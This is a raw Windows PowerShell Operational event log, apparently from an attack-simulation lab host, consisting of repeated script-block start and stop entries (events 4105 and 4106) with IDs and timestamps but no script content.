LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988711 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988710 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988709 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988708 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988707 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988706 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988705 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988704 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988723 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988722 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988721 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988720 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988719 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988718 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988717 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988716 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988715 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988714 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988733 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988732 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988731 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988730 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988729 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988728 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988727 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988726 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988725 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988724 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988743 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988742 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988741 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988740 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988739 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988738 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988737 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988736 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988735 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988734 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:21 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988753 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:21 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988752 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:21 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988751 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:21 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988750 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:21 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988749 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:21 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988748 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:21 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988747 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:21 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988746 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:21 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988745 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:21 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988744 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988763 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988762 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988761 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988760 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988759 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988758 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988757 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988756 Keywords=None Message=Started invocation of ScriptBlock ID: 